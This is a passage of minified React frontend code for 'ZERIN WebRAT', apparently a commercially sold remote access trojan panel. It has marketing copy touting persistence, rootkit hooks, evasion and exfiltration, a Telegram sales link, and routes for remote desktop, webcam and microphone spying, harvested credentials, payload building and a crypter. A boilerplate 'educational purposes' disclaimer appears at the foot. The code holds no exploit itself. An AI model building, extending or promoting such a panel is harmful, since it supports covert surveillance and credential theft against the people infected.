3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),a.jsx(xt,{to:"/login",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Login"}),a.jsx(xt,{to:"/register",className:"bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 hover:bg-zerin-accent/15 text-zerin-accent text-sm font-mono px-4 py-1.5 transition-all duration-300",children:"Register"})]})]})}),a.jsx(YV,{activeId:n}),a.jsxs("section",{className:"relative z-10 pt-32 pb-16 px-6 text-center",children:[a.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Platform Capabilities"}),a.jsxs("h1",{className:"font-display font-bold text-4xl sm:text-5xl md:text-6xl tracking-tight mt-4 mb-5",children:["Full Spectrum"," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent via-cyan-300 to-zerin-accent bg-clip-text text-transparent",children:"Red Team Toolkit"})]}),a.jsxs("p",{className:"max-w-2xl mx-auto text-zerin-text-muted/80 text-[15px] leading-relaxed font-mono",children:[s," capabilities across ",Vi.length," modules — from initial access to persistence, evasion, and exfiltration. Everything an operator needs in a single platform."]}),a.jsxs("div",{className:"mt-14 max-w-3xl mx-auto grid grid-cols-2 sm:grid-cols-4 gap-8 border border-[#1a1a22] bg-[#08080c]/50 py-6 px-6",children:[a.jsx(oc,{value:String(s),label:"Capabilities"}),a.jsx(oc,{value:"13",label:"Persist Methods"}),a.jsx(oc,{value:"11",label:"Rootkit Hooks"}),a.jsx(oc,{value:"256",label:"Proxy Channels"})]}),a.jsx("div",{className:"mt-10 flex flex-wrap items-center justify-center gap-2",children:Vi.map(o=>a.jsx("a",{href:`#${o.id}`,className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/60 border border-[#1a1a22] hover:border-zerin-accent/30 hover:text-zerin-accent/80 px-3 py-1.5 transition-all duration-300 uppercase",children:o.label},o.id))})]}),a.jsx("div",{className:"max-w-6xl mx-auto px-6",children:a.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"})}),a.jsx("div",{className:"relative z-10 max-w-5xl mx-auto px-6 py-20 space-y-24",children:Vi.map((o,l)=>a.jsx(GV,{cat:o,index:l},o.id))}),a.jsxs("section",{className:"relative z-10 py-24 px-6 text-center border-t border-[#1a1a22]/50",children:[a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl tracking-tight mb-4",children:["Ready to"," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"operate"}),"?"]}),a.jsxs("p",{className:"text-zerin-text-muted text-[15px] mb-8 max-w-md mx-auto",children:["Get lifetime access to the full platform — all ",s," capabilities included."]}),a.jsxs("div",{className:"flex items-center justify-center gap-4",children:[a.jsxs("a",{href:"/#pricing",className:"group relative overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-8 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)]",children:[a.jsx("span",{className:"relative z-10",children:"View Pricing"}),a.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]}),a.jsx(xt,{to:"/register",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-8 py-3 transition-all duration-300",children:"Register"})]})]}),a.jsxs("footer",{className:"relative z-10 border-t border-[#1a1a22]/50 py-8 px-6",children:[a.jsxs("div",{className:"max-w-6xl mx-auto flex items-center justify-between",children:[a.jsxs("button",{onClick:i,className:"flex items-center gap-2 hover:opacity-80 transition-opacity",children:[a.jsx("span",{className:"font-display font-bold text-sm text-zerin-text-muted/60",children:"ZERIN"}),a.jsx("span",{className:"text-[8px] font-mono text-zerin-text-muted/30 tracking-widest",children:"WebRAT"})]}),a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"font-mono text-[11px] text-zerin-text-muted/40 hover:text-zerin-accent transition-colors flex items-center gap-1.5",children:[a.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 24 24",fill:"currentColor",children:a.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),a.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/30",children:"© 2026"})]})]}),a.jsx("div",{className:"max-w-6xl mx-auto mt-4 pt-4 border-t border-[#1a1a22]/30",children:a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted/25 leading-relaxed text-center",children:"This software is provided strictly for educational purposes and authorized penetration testing only. The developer does not promote, condone, or support the use of this tool for unauthorized access, malware distribution, or any illegal activity. By using this software you agree to comply with all applicable laws in your jurisdiction. Use at your own risk."})})]})]})}function lc({children:e}){const{isAuthenticated:t}=ya();return t?a.jsx(a.Fragment,{children:e}):a.jsx(la,{to:"/",replace:!0})}function XV({children:e}){const{isAuthenticated:t,isAdmin:n}=ya();return t?n?a.jsx(a.Fragment,{children:e}):a.jsx(la,{to:"/",replace:!0}):a.jsx(la,{to:"/login",replace:!0})}function ew({children:e}){const{isAuthenticated:t}=ya();return t?a.jsx(la,{to:"/dashboard",replace:!0}):a.jsx(a.Fragment,{children:e})}function ZV(){const[e]=Cx(),t=xr();return m.useEffect(()=>{let n=e.get("token");if(!n){const r=window.location.hash;r.startsWith("#token=")&&(n=decodeURIComponent(r.slice(7)))}n&&n.split(".").length===3&&(Px(n),zi()),t("/dashboard",{replace:!0})},[e,t]),null}function QV(){const{isAuthenticated:e}=ya();return e?a.jsx(la,{to:"/dashboard",replace:!0}):_x()?a.jsx(l_,{}):a.jsx(la,{to:"/login",replace:!0})}function JV(){return a.jsx(z6,{children:a.jsxs(OE,{children:[a.jsx(mt,{path:"/",element:a.jsx(QV,{})}),a.jsx(mt,{path:"/auth",element:a.jsx(ZV,{})}),a.jsx(mt,{path:"/features",element:a.jsx(qV,{})}),a.jsx(mt,{path:"/payment/:id",element:a.jsx(UV,{})}),a.jsx(mt,{path:"/login",element:a.jsx(ew,{children:a.jsx(c_,{})})}),a.jsx(mt,{path:"/register",element:a.jsx(ew,{children:a.jsx(u_,{})})}),a.jsx(mt,{path:"/vnc/:id",element:a.jsx(lc,{children:a.jsx(NV,{})})}),a.jsx(mt,{path:"/webcam/:id",element:a.jsx(lc,{children:a.jsx(EV,{})})}),a.jsx(mt,{path:"/mic/:id",element:a.jsx(lc,{children:a.jsx(AV,{})})}),a.jsxs(mt,{element:a.jsx(lc,{children:a.jsx(t_,{})}),children:[a.jsx(mt,{path:"/dashboard",element:a.jsx(HU,{})}),a.jsx(mt,{path:"/agents/:id",element:a.jsx(xV,{})}),a.jsx(mt,{path:"/events",element:a.jsx(gV,{})}),a.jsx(mt,{path:"/payloads",element:a.jsx(wV,{})}),a.jsx(mt,{path:"/credentials",element:a.jsx(BV,{})}),a.jsx(mt,{path:"/crypter",element:a.jsx(RV,{})}),a.jsx(mt,{path:"/admin",element:a.jsx(XV,{children:a.jsx(LV,{})})})]}),a.jsx(mt,{path:"*",element:a.jsx(la,{to:"/",replace:!0})})]})})}Lm.createRoot(document.getElementById("root")).render(a.jsx(Oh.StrictMode,{children:a.jsx(FE,{children:a.jsx(JV,{})})}));
|